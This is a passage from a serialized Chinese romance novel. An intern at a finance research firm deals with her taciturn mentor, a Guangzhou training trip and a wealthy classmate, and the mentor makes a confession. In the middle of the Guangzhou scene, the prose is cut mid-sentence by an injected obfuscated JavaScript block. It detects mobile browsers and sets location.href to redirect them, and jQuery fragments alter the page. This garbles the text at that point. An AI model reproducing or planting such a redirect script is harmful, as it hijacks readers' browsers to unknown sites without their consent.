“好家伙……太高级了。我有工位吗?”祝岁祯开始期待了。 “我工位旁边有空的,上周五已经给你分好了。” 何希麓的工位东西很少,除了俩屏幕、键鼠、资料、水杯,基本上没什么别的东西了。 祝岁祯的桌子跟他挨着,同样的双屏键鼠配置。 俩人把早餐干掉,就陆续有人来上班了,员工们见到祝岁祯的时候都是一愣,眼睛不受控制地多看了几秒。 何希簏笑着悄悄说:“大家肯定都被你的颜值惊到了。” 祝岁祯摆摆手:“没那么夸张,只是突然发现多了个不认识的人罢了。” 何希簏的带教老师拿着杯星巴克进来,放下杯子、耳机、背包,走了过来。 “新人来了?哈喽。” 祝岁祯赶紧站起来自我介绍,何希簏已经告诉她带教老师姓程,直接叫程哥就可以。 程哥对她说不用这么紧张,这些天他和何希簏已经处成哥们儿了。也看过祝岁祯的简历,对她的情况还算了解。 “你的带教老师不是我,是另一个研究员,姓杜,我们都管他叫杜老师。他这人有点儿冷淡不爱说话,人其实不错的,你主动点、多问就行。” 祝岁祯心里正忐忑,何希簏指了指程哥背后:“杜老师来了!” 两人口中的杜老师高高瘦瘦的,脸也很瘦棱角分明,白衬衫里面白色的短袖,黑色西装裤,斜挎一个黑色的单肩包,一双皮鞋步伐极快直奔工位。 他目不斜视地盯着自己的工位,完全不和周围同事们打招呼。把包放桌子上,拉出人体工学椅,坐下,开机,一连串动作行云流水。 屏幕亮起,祝岁祯发现他的屏幕是三个:右边俩横着叠放、左边一个竖着放,非常神奇的组合。 程哥对祝岁祯招招手,她跟了过去。 “杜老师,给你招的实习生到了。” 男人头也不回,噼里啪啦地输密码:“上周五那个?我要的是研究生。” 祝岁祯尴尬地低下头看着地毯。 程哥帮祝岁祯打圆场:“哎哟,其实也没多大差别了,你看我用小何不是用得挺顺手么?就算研究生,你碰上那种本科时候啥也没学的、不给你好好干活净捅娄子的,那不一样头疼嘛。” 杜论知飞速打开几个软件,冷冷地开口:“那咱们换换,小何给我。” 程哥讪讪笑道:“呵呵,啊这个嘛……我现在跟小何磨合的挺好的,你别抢人呐……” 随后,程哥语速变快:“小祝,你问问杜老师有什么要帮忙的,我跟小何就先回去了哈……小何,你帮我把钢铁这十年的国内外消费量按月统计出来,我上午要用,快。” 程哥把何希簏拽走,就剩祝岁祯了,她惴惴不安地走到带教老师旁边:“杜老师,您看有什么我能做的?” 男人头也不抬,切换了一个软件出来,指了指屏幕:“用过吗?” 祝岁祯瞧了瞧,这不就是wind么?她只好说没用过。 杜老师一脸不耐烦地抬头看她:“那怎么办?我没时间教……” 他话还没说完,看到祝岁祯的脸瞬间愣住了,然后快速转过头盯着屏幕,清了清嗓子。 祝岁祯有些紧张:“我,我会尽快学的……其实我昨天看了视频想自己先学一点,但那个软件是收费的,就想着等今天来了再说。” 杜老师看着屏幕没说话。 祝岁祯决定献个殷勤:“杜老师,这个杯子是您平时用的吗?我给您接点水吧……” 男人迅速伸手挪走杯子:“不用。” 祝岁祯讪讪地收回手。 唉,最尴尬的就是你想讨好人,别人都不给你机会呢…… 他又把杯子放回去:“不用给我做这种事。干好交代你的活儿就行了。” 诶?这么说的话…… “你不是跟小何关系挺好的吗?他来这里做过的所有工作,你跟着他做一遍,都学会了再来找我,去吧。” “哦哦,好的。” 她去何希簏旁边坐着,先看他导数据整理的过程,大概对软件有个了解,半小时过去,人力来找她办手续。 正式实习入职之后,她有了账号这些东西之后立刻打开wind,先把何希簏正在做的做一遍,然后开始跟着网络上的视频自学。 杜论知起身去接水上厕所的时候,绕过来站在祝岁祯身后看了几眼,什么也没说,走了。 快到11点,祝岁祯已经把各种讲解视频都看完了,也截图做了笔记,觉得差不多能上手,就找何希簏要了几个任务,开始实战。 11点半的时候,程哥过来,跟何希簏讨论了一下数据和图表格式的要求,然后叫上祝岁祯一起走。 “杜老师,我带小祝去吃个饭啊,你也早点休息,干饭最重要了。” 杜论知侧头看了眼祝岁祯,起身拿手机:“哪家?我也去。” “哟呵?难得啊,走走走,旁边商场五楼,麻辣小面。” 吃饭的时候,程哥少不得要问些祝岁祯的个人情况,当知道她没有男朋友的时候,对面两个带教齐齐投过来惊讶的目光。 何希簏笑着解释,说祝岁祯在学院里有个外号,叫“宿舍姐”。天天躲宿舍里自习,除了上课、吃饭都见不到她人的,多少想表白的男生都被吓退了。 下午,她在何希簏和程哥的帮助下,飞速地实践何希簏做过的任务,终于在5点半的时候搞定了。于是她大着胆子找带教: “杜老师,我感觉我学得差不多了,有什么新的任务要布置给我吗?” 杜论知却说不着急,吃完饭再说。 路上他说部门大部分人下班时间是7点,他不太和人聊天讲八卦,效率高,通常6点半左右就走了,所以祝岁祯也可以和他同时下班。 一天的相处下来,祝岁祯发现这个杜老师好像没什么情绪一样,很像她印象中的程序员、技术宅男。 不过有这么个沉闷的带教老师,也真是不错,让她这个骨子里非常不爱社交的人放松了许多。 接下来的日子里,祝岁祯对他又有了些新认识。 本来他是那种工作做完了就立刻下班的人,就算部门领导在,他也不给面子照走不误。 现在因为要带祝岁祯这个菜鸟,杜老师在下班后,还过来推了把椅子坐在她旁边,加班教她些实用的工具。 “你要用chardet,检测一下你这个文件的编码……不然读的时候有可能乱码……”杜论知让她往旁边坐坐,自己把鼠标键盘拿了过来。 “先定义一下映射关系……” 何希麓羡慕地在他俩身后看着屏幕,默默地学了一会儿,先下班了。 杜论知示范完,祝岁祯说想再练练,毕竟回去就没有这些软件可以用了。 就这么过了一星期,何希麓和程哥都感慨祝岁祯不愧是“宿舍姐”,俩人给她起了新外号:加班姐。 他们说从来没见过这么爱加班的实习生,看来一天60块还是给得多了。 祝岁祯:…… 实习第二周,一个下雨的早晨,祝岁祯像往常一样出门,电梯停在三楼的时候,杜论知出现在门口。 呵?俩人居然住同一栋楼! 哎呀巧了吗这不是?于是俩人一起坐地铁,路上聊了下祝岁祯这房子是怎么租的。 杜论知这才知道,原来自己曾经和公司的同事住在同一个单元,一年了都没发现。 爸妈听说带教老师就住她楼下,还好脾气地教她很多东西,赶紧从家里寄来特产,让祝岁祯拿去送给杜老师。 就这么平平淡淡地过了第二周,周五下午,她跟何希麓讨论某个指标数据应该用哪个维度比较好,两人产生了分歧,然后去问程哥。 程哥想都没想,说出了祝岁祯赞同的那个方式。 祝岁祯感觉自己现在强得可怕,甚至可以直接入职当研究员了。 哈哈,开玩笑的。路还长,别太狂…… 何希麓偷偷告诉她,韩芷玥又来明市了,简直是每周来检查一次,他得请假去接,就先撤了。 祝岁祯笑着挥挥手,让他赶紧走。 她今天也准备早点回去,爸妈来看她了,还带了床单衣服之类的东西,说来陪她住个双休日,给她做饭做家务。 小区附近有个城市公园,一家三口去里面散步,路边时不时有夜跑的人经过,爸妈说让她平时也出来跑跑、运动运动,别整天不是待在家里、就是待在办公室。 祝岁祯嘴上答应,心里想的是这么热的天,她才懒得动。 周一上班,杜老师给她拿了些果干,说是家里人出去玩带回来的,他不爱吃这些,就让祝岁祯帮忙消灭掉。 临走时他问:“你爸妈是不是来看你了?” 祝岁祯刚剥开包装袋,惊讶地问:“你看见了?” 杜老师笑了笑:“公园夜跑看见的,不过晚上光线差不太确定,而且我也不想打乱跑步的节奏,就没跟你们打招呼。” 祝岁祯心想:这也倒是符合您的性格特点。 杜论知回工位后,祝岁祯正在给柱状图调格式,突然听到程哥来了何希麓旁边,俩人勾肩搭背地低声说悄悄话。 “你女朋友又来了?” “嗯。” “啧,哎哟,真是如胶似漆啊。” “还好吧。” “她来找你,你俩住一间房?还是分开住?” “一间……” “喔吼,感情交流得很充分吧?身体和心灵。” “心灵一般般,太闹腾了。身体还可以。” “啧啧啧,可以了弟弟,身体是通往心灵的窗户。心灵不充分的时候,那就身体交流一下,效果也是不错滴。” 祝岁祯闭了闭眼,痛恨自己怎么就听懂了呢…… 她面无表情地快速敲键盘、点鼠标,把字号调大又调小、颜色赤橙黄绿青蓝紫都改一遍,显得自己很忙,装作什么都没听到的样子。 下午,杜老师过来找她:“你想出差吗?广州有个培训,四个名额,还缺个女生跟一个女同事住,下周二。” 祝岁祯一想,刚好是实习的最后一周,趁着实习赶紧体验一下出差的感觉,她立刻举手:“去!” 何希麓一听,哭丧着脸对程哥说:“程哥……人家也想去……” 程哥心虚笑着:“呃呵呵……我的策略业绩没杜老师好……呵呵……” 和杜论知吃晚饭的时候,祝岁祯说爸妈让她晚上也去跑跑步,但她觉得太热了,还没走到公园肯定就一身汗,问杜老师是怎么坚持的。 杜论知说,只是养成习惯了,如果祝岁祯也想跑步,他可以带着她一起。 祝岁祯觉得跟这个话少的老师一起跑步还蛮不错的,就和他约好了。 回家的路上,祝岁祯去运动用品专卖店,买了件速干的宽松短袖。晚上八点,杜论知在楼下等她,两人就开始在公园夜跑,时长为一小时。 第二天早上,祝岁祯感觉自己好像被人敲断了腿,那滋味,别提多酸爽了。到办公室,杜老师看见她一瘸一拐的熊样儿,憋笑失败。 但既然衣服都买了,她也不想半途而废,毕竟网上说跑步需要坚持,只要熬过开头几天,肌肉就会习惯了。 果然,到周四晚上,她已经不再是周一那个气喘如老牛的弱鸡了,而是气喘如小牛,稍微进步了一点。 周五她就不跑了,爸妈又来夏日送清凉,她便无情地抛下老师父,陪爸妈晚上在公园散步。 她散步的时候跟妈妈聊何希簏女朋友,说学妹每周都会来例行检查。甄念想起那天小两口吵架就心有余悸,怕闺女再碰上这种事。 然后,甄念给她出了个主意,让她谈恋爱,这样就可以放心和男生们正常交流了,对方女朋友也不会担心吃醋。 祝岁祯也是无奈了。 妈妈又多跟她聊了一会儿,其实还是不想她一直因为小路去世而难过,希望她在北京能有个知心的人,大好的年纪去享受爱情。 祝岁祯只说自己想好好学习拿奖学金,别的等大四再说吧。 周二下午,祝岁祯和杜老师把工作加急赶出来后,两人赶往高铁站,去广州和另外两位同事会合。 到了预定的酒店,祝岁祯和一位风控部的姐姐同住,杜论知和投资部的一位老师同住。 风控部的姐姐中午就到了,在外面玩了一下午,和祝岁祯见面后简单聊了两句,换衣服出去找刚下班的同学聚餐。 祝岁祯只好在网上搜了搜攻略,本来想上广州塔玩一玩,但觉得门票有点贵。她找了条游览路线,从广州塔广场开始,到财富码头结束,还在地图上标注了打卡机位,用帆布包装上房卡纸巾充电宝,就火速出发了。 广州……可真是热啊…… 她觉得身上的毛孔坏掉了,一直滋滋往外冒汗,头发也变得咋呼呼的,好像被谁电了一样,路过反光玻璃时她不经意一瞧,镜子里的自己把她吓一跳。 拿黑色小皮筋扎好,过了一会儿,额头边的头发浸了汗,细细的几绺贴在发际处,她也顾不上了。 不过这夜景确实不错,广州塔上螺旋迷离的彩虹光,水里的游船,还有周围矗立的各种大厦,让她想起了在上海的那几天。 因为不知道同屋的姐姐几点回来休息,她也不敢玩得太晚,拍了些照片后赶紧回去洗澡,用外卖点了肠粉、虾饺和双皮奶,在房间里吃得那叫一个开心。 第二天,四人去附近的一个国际中心,祝岁祯跟着同事们直接乘扶梯去三层开会。 一号会议厅门口有个很大的空场地,站了三、四十个人,三五成群地在聊天、交换联系方式、商业互吹。杜论知和其他两个同事甚至还看见了几个熟人,上前去打招呼。 对方看见祝岁祯都眼睛一亮,笑着说你们公司的销售也来参加投研培训会吗?现在都这么卷了吗,销售招女明星? 祝岁祯尴尬地笑着摆摆手,杜论知立刻解释。 这几个人知道她是M大的实习生后都十分惊讶,还主动加她好友。 她看着新加的七八个某基金、某证券的人,心想这趟差出得不错,居然还搞了点人脉进来,感觉就业的前景又光明了一些。 签到、入场,这个场景似曾相识,她曾经也参与过,作为主持人。 上次主持之后,导员听说了些关于她“抢学姐主持人位置”的流言,深觉对不起她,后面再有类似的活动就没好意思找她,她也乐得清净。 这个培训会有点高深了,而且和杜论知的研究领域还不太一样。上午的培训结束,祝岁祯笔记本上记满了三页纸,满脑袋新知识地跟同事们去吃饭。 -.- 俞惟叙穿着一套亚麻休闲西装,一手插兜,一手拿着门禁卡,从国际中心门外走进一楼大厅。 正要朝着电梯厅的门禁闸机走去,突然,他愣在了原地。 一个穿着白衬衫黑裤子的纤丽身影出现在他视线中,拎着帆布袋,和三个人聊着天,向大堂另一侧的扶梯走去。 俞惟叙脸上露出惊讶的笑。 这不是祝岁祯吗?怎么会在广州? 看这四人的装束,像是出差来工作的。 俞惟叙盯着那个熟悉的身影,一直到她消失在上下两道扶梯的交叉处。他看了眼电梯厅旁边的楼层索引,三层写着会议大厅。 哦,明白了,开会。 他眼珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318743|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一转,坏心眼地笑了下,转头大步流星踏上扶梯。 三层只有一个会议厅是开着的,门口有人在排队签到。俞惟叙一眼就看到队伍最后的祝岁祯,他不会认错的。 俞惟叙悄悄走了过去,就差两步到她身后,这时杜论知转头过来要和祝岁祯说什么,却看到她身后一个长相异常夺目的男人。 他要说的话还没出口,俞惟叙站在祝岁祯右后边,拍了下她的左肩。 祝岁祯茫然地转头,却什么都没看到。她完全转过身子后,才发现憋着坏笑的俞惟叙。 她瞪大眼睛,和俞惟叙居然同时开口: “你怎么在这儿?!” 随后两人同时大笑。 俞惟叙带她去旁边没人的地方,祝岁祯赶快扭头对杜论知说让他先进去,俞惟叙和杜论知的眼神在空中交汇。 到杜论知签到了,他没签,站在门口一直盯着她和那个男生。 “我来参加培训。话说你怎么在广州啊?”祝岁祯仍旧笑着问他,完全没想到在这里能遇见他。 俞惟叙指了指楼上:“公司在这里刚成立了一个研发中心,近两年人工智能很火,我们也想加入这个赛道,做智能家具。” “哦……”祝岁祯不明觉厉。 “就在28层,要去参观参观吗?这个点子可是我提的,我是带头人呢。” 祝岁祯笑道:“不了不了,太高端,我们这培训快开始了。” 俞惟叙有点不太理解:“怎么会让你一个实习生来参加培训呢?” 她得意地挑挑眉:“因为我的带教老师很厉害,他有权推荐我来。” 俞惟叙看她这小样,哼笑一声:“哟,抱上大腿了?这回没人欺负你了?” 祝岁祯回他:“嘿嘿,对,就刚才站我前面那个老师。人特别好,教我很多东西。” 俞惟叙以为那只是个普通同事,没想到是她带教,脸色稍稍有些凝滞。 他转头看了眼门口,但刚才那个男人刚好转身进门。他回忆了下,似乎挺年轻的,长得也还蛮端正。 俞惟叙故作遗憾:“哦,人特别好,教你东西。哎,看来我们观鱼财务部很差咯……” “不不不……不是……你别误解我的意思……”祝岁祯语无伦次地解释。 “逗你呢。” 祝岁祯放下心,就又跟他夸杜论知:“我那个带教老师超级好,还给我带好吃的。哦,你知道吗,最巧的是,他居然就住在我租的那栋楼,同一个单元欸……” 俞惟叙沉默地接受这一个又一个信息,心里酸得不得了。 “你还要实习多久啊?这都快开学了。” “就这周结束,刚好一个月。” 俞惟叙心里这才舒坦些。 这时,祝岁祯突然看向会议厅门口。 “哎呀!她们在撤签到桌!不行了我得赶紧回去了!马上开始!拜拜啦,回见哈~” 俞惟叙只来得及挥挥手,祝岁祯就风一样地跑到门口签到,然后进入会场。 他叹了口气,实习而已,祝岁祯还是这么认真。 祝岁祯着急忙慌地回到自己的位置上,下午场的培训刚好要开始了。杜论知低声问她:“刚才那人是谁啊?” 祝岁祯也小声告诉他:“我同学。” 杜论知想了想,又问:“关系很好吗?” 祝岁祯顿了顿:“还行吧,毕竟我认识的同学不多”。 杜论知没再说话,垂下眼,然后扭头看向会场大屏。祝岁祯见状也坐直了认真听讲。 这时候,她手机亮了一下。 俞惟叙:【你们什么时候结束,晚上有空一起吃饭吗?】 祝岁祯:【三点结束,但是我们要去赶高铁,明天还得上班】 俞惟叙:【这么着急?不再住一晚吗】 祝岁祯:【多住一晚都是成本啊老板!】 俞惟叙:【你哪天来的,跟你同事们出去玩了吗?】 祝岁祯:【昨天傍晚到,同事们都有事,我自己出去溜达了一圈】 俞惟叙:【你们这公司行不行啊?昨天晚上到,今天走?我们公司可不这么抠门】 祝岁祯:【降本增效啊~这年头……】 俞惟叙:【行吧,你忙吧,要是有事了记得找我】 祝岁祯:【好滴,感谢,祝你研发顺利,早日问鼎福布斯富豪榜】 俞惟叙:【哎哟喂,我的天呐】 俞惟叙:【你比我野心还大呢?我要告诉我妈,让她好好努力,四十多岁正是拼的年纪】 祝岁祯发了个捂脸笑的表情。 她把手机收好,拿起笔准备记笔记。没看到旁边的杜论知,全程观察着她聊天打字时的表情。 培训结束,因为有提问和现场交流的环节,稍微拖了半小时才结束,原本还充裕的时间就变得紧张。 祝岁祯本想着是不是应该跟俞惟叙打个招呼再走,但她这边赶路,人家现在估计也在搞什么高科技研究,没空来搭理她。 她路上想着,俞惟叙这人还挺厉害的,没什么富二代的毛病,反倒是对家境普通的同学还挺亲和。 祝岁祯觉得他应该是受家人经商的影响,毕竟一般老板啊什么的都会维护自己亲民和善的形象,面上功夫滴水不漏。 如果祝岁祯跟他说要走了,俞惟叙可能会为了同学间的情分,下来送送她、道个别什么的。虽然可能只是她自作多情地猜测,但这事放在俞惟叙那里不奇怪。 还是算了吧,没必要,就算只是发消息说个再见,也挺多余的。 搭上地铁,很快到了高铁站。坐上车后,祝岁祯开始选图修图,发了四张广州塔附近拍的照片,定位高铁站,文案: 【如果把中国尊和广州塔捏在一起当筷子,我可以吃下整座山】 点赞和评论很快冒了出来,评论清一色的【哈哈哈哈】和【吃货真可怕】。 坐在一起的同事们刷到她的朋友圈,笑呵呵地批评杜论知,说人家小孩好不容易来趟广州,你也不带她早点来,都没吃着什么特色美食。 过了一会儿,俞惟叙发来一张图片。 这张图是从她朋友圈里存的,但俞惟叙做了一下加工,在江对岸的一栋摩天高楼上,画了个圈。 俞惟叙:【我住红圈这里】 祝岁祯没回复他,反手打开地图,对比了好久,感觉像是瑰丽酒店。 她把图片拿给杜论知:“杜老师,这个建筑,是瑰丽酒店吗?” 杜论知对广州不熟,另外两个同事也看了过来。男同事笃定道:“对,就是瑰丽酒店。” 女同事也点了点头说:“怎么了,评论区有人问吗?” 祝岁祯拿回手机:“我一个同学说他住这里,还给我画了个圈。”然后看向杜论知:“就是下午开会前,你看到的那个男生,我同学。” 女同事说:“嚯,有钱啊……哎等会儿。” 她又拿起祝岁祯的手机看了看:“他说的是画圈这里吗?” 祝岁祯不明所以,也仔细看了看图,俞惟叙画的圈挺小的,甚至没超过建筑本身的宽度。 “他是不是在瑰丽长住啊?” 祝岁祯看了眼同事姐姐,点了点头:“有可能,他家在这边有业务,估计是长住。怎么看出来的?” 同事姐姐说:“这个楼,中间有几十层,叫瑰丽府邸,上面是瑰丽酒店。他如果住在这个位置的话,大概就是在府邸长住的。多少层来着,忘了,好像六十多层到九十多层吧?” 男同事问:“有什么区别吗?酒店不能长住吗?” 女同事说:“其实都可以长住或者短住,但是府邸更安静私密,一般人进不来,据说是一梯一户。酒店嘛,网红啊什么的想去蹭着拍拍照、打打卡,就比较容易。” 男同事笑问:“可以啊,知道的还不少,你经常来广州吗?” 女同事摇了摇头:“不是,我一个同学告诉我的,她准备以后生了孩子去瑰丽府邸的月子中心休养,看中了一个套餐,大概三十多万。” 祝岁祯和两个男同事:…… 两个男同事对女人生孩子坐月子没什么概念,但是只坐个月子就花三十万,这个水平的开销着实让他们感到惊讶。 两人目前对生孩子养孩子花销的认知仅限于学区房、辅导班、留学这种教育层面。 祝岁祯头一次听说坐月子居然也能这么贵,有钱人的钱真是会花到生活和人生的方方面面啊。 她突然想起来自己好久没理俞惟叙了,于是酝酿了一下,边思考边打字,回复他: 【早晨,总裁从一百米的大床上醒来,广州市的第一缕阳光照射进落地窗欢迎他。管家贴心地为他准备好早餐和报纸,司机开加长林肯送他出门。夜晚,总裁身着浴袍摇晃红酒杯,蔑视地看着楼下广州塔旁,如蝼蚁般渺小而没见识、正在咔咔拍照的祝岁祯】 过了一会儿,俞惟叙: 【……】 隔着屏幕都能感受到他的无语。 列车开动,祝岁祯捂着嘴巴笑得不行。 又过了一会儿,一个巨长的消息冒了出来。 俞惟叙:【早晨,鱼仔从他两米的标准普通床上醒来,太阳已经晒屁股了。自己下楼去行政酒廊啃面包刷手机看新闻,步行上班热出一身汗。夜晚,鱼仔摇晃矿泉水瓶,后悔地看着楼下广州塔,心想原来昨晚祝岁祯同学在这里游玩过,而他却不知道】 祝岁祯读他的改编,乐得直拍大腿。同事们都惊恐地看着她,以为她突然疯掉了。 35.第三十五章 回明市后,跟着杜老师又夜跑两次,祝岁祯周五下午办了离职,走之前给两个带教老师都送了礼物。 送杜老师的是一个深灰色真丝眼罩,让他中午睡觉时能好好休息。给程哥送了一盒川宁的薄荷花草茶,她看他经常喝这个。 程哥惊喜得好像要当爹了似的,给祝岁祯吓一跳,几十块的小礼物不至于。 杜老师冷静地收下,拿着白色的礼盒左看右看,微笑着道谢。 回去后,她在打扫卫生的间隙,拿起手机看朋友圈动态。 有出国玩的、有去做社会实践的、有过生日的……她想了想,好像应该发个朋友圈,纪念自己第一次真正意义上的实习。 于是她找了找自己手机里存的图,打码重要信息之后传上去。 一张实习生工牌照片。 一张工作台照片,左屏wind大盘K线、右屏敲代码整理数据。 一张四人去吃工作餐的餐桌照片。 最后一张是出差去培训的会场照片。 文案:【谢谢公司、带教老师们和学弟的帮助,感恩,期待再会】 她发完朋友圈,刷了一会儿新闻资讯,看看美国那边又搞什么幺蛾子了,再回来的时候,评论区密密麻麻全是字。 大多数都是在说她卷,有的说要抱她大腿,还有的问她怎么找的实习。 就看评论这功夫,点赞和新的评论又增加了,她往上滑了滑,培训认识的同事和“人脉”,也有来给她点赞的。 屏幕上方弹出一条消息,来自杜老师: 【还在小区吗?】 祝岁祯切去聊天界面: 【在!】 杜老师:【你爸妈来陪你了吗】 祝岁祯:【没呢,他们明天来】 杜老师:【下楼来聊聊天?喷泉旁边】 祝岁祯:【好的,马上下去】 祝岁祯坐起来,换了个长裤省得蚊子咬。看了眼手机电量还可以,踩着拖鞋就下楼了。 她们这栋楼再往小区里面走,有个小喷泉,因为总有熊孩子往池子里跳,小区担心安全问题,就没放水。 杜论知站在水池边,灯光明亮,但祝岁祯还是看不太清他的表情。 “俺来啦~” 她在想杜老师还有什么独门绝技要传授给她吗?但她没带本子。 杜论知看了她一眼,却没说话,静默地站在原地,要不是眼睛还在眨…… “祝岁祯,我这人一向有话直说。” 她不明所以地点点头:“啊,对,嗯。” “你,有兴趣谈恋爱吗?我毛遂自荐一下。” 祝岁祯吃了一大惊! 她呆呆地看着他,脑子里乱成一锅粥可以趁热喝了。 回过神来,她干巴巴地笑了一声:“哈哈……呃……” 祝岁祯无措地看看天、看看地、看看路灯:“杜老师,我,嗯……把您当老师来着……” “你觉得我比你年纪大太多了是吗?” 杜论知看起来一点没有那种被拒绝的尴尬,似乎只是在冷静分析原因。 也是,杜老师这种镇定睿智又谨慎的人,必然是考虑过她的各种反应,提前做过预案的。 “不是年纪的问题,而是……”她仔细地思考,“我把您放在老师的位置,如果转变成恋人关系,我暂时不太能习惯。” 她又赶快补充道:“而且,异地啊?我还有两年学呢,这怎么谈?” 杜论知语气还是很平稳:“我可以去北京,重新找工作,如果我们结婚,买房的首付我来出。” 祝岁祯听得一愣一愣。 “两种情况,第一,你继续读研,这期间我可以等社保满三年之后,拿到购房资格买房。当然,前提是政策没有变化。 “第二,你毕业就工作,如果有落户指标,我们立刻就能买。没有户口的话就同上。” 祝岁祯目瞪口呆地听着他分析,觉得杜老师不愧是杜老师,连结婚买房都想到了。 她作为学生,对恋爱的第一反应还停留在拉拉小手、亲亲抱抱的阶段…… 就算自己以前有畅想过未来和另一半的婚姻生活,也没有细致到什么户口、首付这种程度。 她不合时宜地笑了下:“不是……万一分手了呢?比如我看上别人了。” “确实存在这种情况,但那是我要考虑的事,跟你已经没有关系了。” 祝岁祯实在是佩服:“杜老师您太酷了,我说真的。但是吧,如果您要因为我,放弃这里的工作和生活,去规划未来,那我不可能置身事外的。” 她神色黯淡:“我高中升大学的暑假,有过男朋友,没多久他意外去世了。” 祝岁祯脑海中浮现画面,她深吸一口气,眼眶微红,但她努力忍住了。 “从那以后,我没再谈过。刚开始是太难过无法接受,但到现在,我变得不想和别人有太深的感情链接,因为这对我的情绪影响太大了,我处理不好。” 她苦笑了一下:“杜老师,这些话我没跟别人说过,因为怕父母难过、怕同学不理解。但我觉得跟您很投缘,您应该能理解我。” 见杜论知的眼神变得复杂,她认真地说: “最重要的是我对您真的没想法。其次,您要是为了我去北京,这以后如果出现任何职业或者生活上的风险,我会很内疚。” 他低下头,复又抬起,眼睛紧盯着她的表情:“你喜欢你那个同学吗?” “啊?谁?” “广州培训会场外的那个。” 她心头一震:“怎么……突然说他干嘛……” “从来没见你笑得那么开心过,见到他的时候感觉你整个人都不一样了。回来高铁上也是因为和他聊天,才笑得那么厉害吧?” 杜论知想起他在会场外看到的那个男生,年纪不大,举手投足之间却满满的精英气质。 而祝岁祯这个傻愣愣的姑娘,见到对方时那个惊喜和活泼劲儿,真是大大出乎他的意料。 果然,人都喜欢漂亮的皮囊。 后来工作人员告诉他培训要开始了,他只好先进去。 他本以为那是个刚毕业工作的金融男,这种全身上下华尔街finance bro味的帅哥绝对是情场老手,拿捏单纯小女生简直不要太轻松,但祝岁祯居然说那是她同学…… 杜论知总被人说:智商高、情商低。可他经过这个小插曲才突然发现,自己不是情商低,只是懒得去仔细揣摩无关紧要的人。 他能敏锐地察觉到祝岁祯是喜欢那个男生的,只是不知道她具体喜欢到什么程度。 “没有……不是……他家北京的,我也是第一次去广州嘛……没想到能遇见……” 祝岁祯心里有点慌,她和俞惟叙只是开心地聊了几句,就会被认为是她喜欢他吗? 等到回学校,指不定多少人编排她…… “就是普通同学,关系稍微好一点而已。我跟同学都那样,只有上班时需要严肃些。错觉,都是错觉哈。” 杜论知能判断得出,她的否认似乎没那么站得住脚。 要说同学,那对何希簏为什么态度又不一样?据他所知,何希麓甚至还是她家邻居,两人应该更熟一点。 祝岁祯趁着杜老师沉默思索的间隙,赶快和他道别跑掉了。 电梯上行,她出神地盯着屏幕上的数字,隔一秒加一。 真的应该拒绝吗?或许谈谈也不错呢? 妈妈之前还劝她试试重新谈恋爱来着。杜论知其实不错的,自己就这么果断地放弃了? 从电梯出来,她满脑子乱麻地开门。 进屋的时候,手机屏幕因为她无意间的触碰,亮了一下,显示出上面的信息。 哦?俞惟叙的?刚才他发来信息,但祝岁祯注意力全在杜论知那边。 俞惟叙:【实习结束了?羡慕。我这边的工作才刚开始】 她打了几个字,又删掉。现在不太想聊天。 颓废地躺在沙发里,将手背搭在眼睛上,祝岁祯想,自己的观念是不是应该改变了呢? 总是担心自己会在恋爱中受伤难过,可这世上,这么多人都大胆地追寻爱情,她们都没有在乎这些。 手机提示有新消息,祝岁祯拿起来看了看。 俞惟叙:【刚才不是显示在输入吗?怎么还没发给我?】 祝岁祯噗哧一声笑出来。 祝岁祯:【您不是在搞研发吗?我这个闲人怎么能打扰呢】 俞惟叙:【周五啊同学,人家员工下班了】 祝岁祯:【所以您回到您的玫瑰府邸,哦不是,瑰丽府邸,去摇晃红酒杯了?】 俞惟叙:【厉害啊,我还以为你看不出我画的圈呢】 祝岁祯:【是我同事厉害,问我你是不是在府邸长住】 俞惟叙:【哦,你那个带教?】 祝岁祯:【不是,女同事。先不要提他,我有点乱】 俞惟叙:【怎么了?需要我帮忙吗?】 祝岁祯:【谢谢,但是这个帮不了,只能我自己消化】 俞惟叙:【他骂你了?你现在在哪儿?】 祝岁祯:【不是,小事而已你不用管。在家】 信息发出去两秒,视频电话来了。 祝岁祯无奈笑笑,接通。 俞惟叙好像刚洗了澡,头发是湿的。他坐在餐厅里,背后墙上挂着装饰画。 “你自己一个人吗?” “对。” “在你自己家,还是你说的那租的地方?” “租的。” “发生什么了?” “小事,都是小事。” “快说。” “哎呀……一点点小烦恼而已,你忙你的吧……” 俞惟叙把手机放在桌面的支架上,开始吃酒店送来的晚餐: “我告儿你,我现在超级闲,只要不聊工作,什么我都爱听。说吧。” 她皮笑肉不笑:“你拿我的烦恼当下饭菜呢?” “说不定我能帮你呢?” 祝岁祯挠了挠头,断断续续地说:“呃,之前不是跟你讲过,我和我那个带教老师住同一栋楼么。刚才在小区里……” 俞惟叙不吃了,放下筷子。 她支支吾吾,面色尴尬:“呃……唉……怎么说呢……” “你跟他表白了?!”俞惟叙突然问。 “哈?”祝岁祯一惊,“不是!” “哦……”俞惟叙拿起筷子,“我以为你喜欢他。” 祝岁祯哭笑不得:“哪里看出来的啊?” “上次见你的时候,你把他好一通夸呀……哎哟喂我可没见你这么夸过哪个男的。” 他盯着屏幕上的女生:“看你这纠结的样子,我以为你跟他表白了呢。” 祝岁祯无奈:“不是我跟他表白,是他……” 她闭嘴了。 “他跟你表白了?”俞惟叙语气没什么波澜,“那不是很正常么?你怎么说?考虑考虑?” 她摇头:“拒绝了。我还不知道毕业了去哪里呢,但他好像挺认真的,不能耽误人家。” 俞惟叙笑了笑:“合理。那你纠结什么,给他发好人卡了所以愧疚?还是后悔了?” 祝岁祯想起杜老师说的那些话、那些规划,她真的觉得杜论知是个实在过日子的男人,如果她现在到了结婚的年龄,可能就答应他了。 见俞惟叙没吃饭,仍旧透过屏幕盯着她,祝岁祯说: “倒也没有,只是觉得自己好像因为军训那件事,对待感情的时候,思想包袱太重了……” 俞惟叙知道她在说前男友的事,很想问她要准备卸下包袱、开始找合适的人谈恋爱了吗? 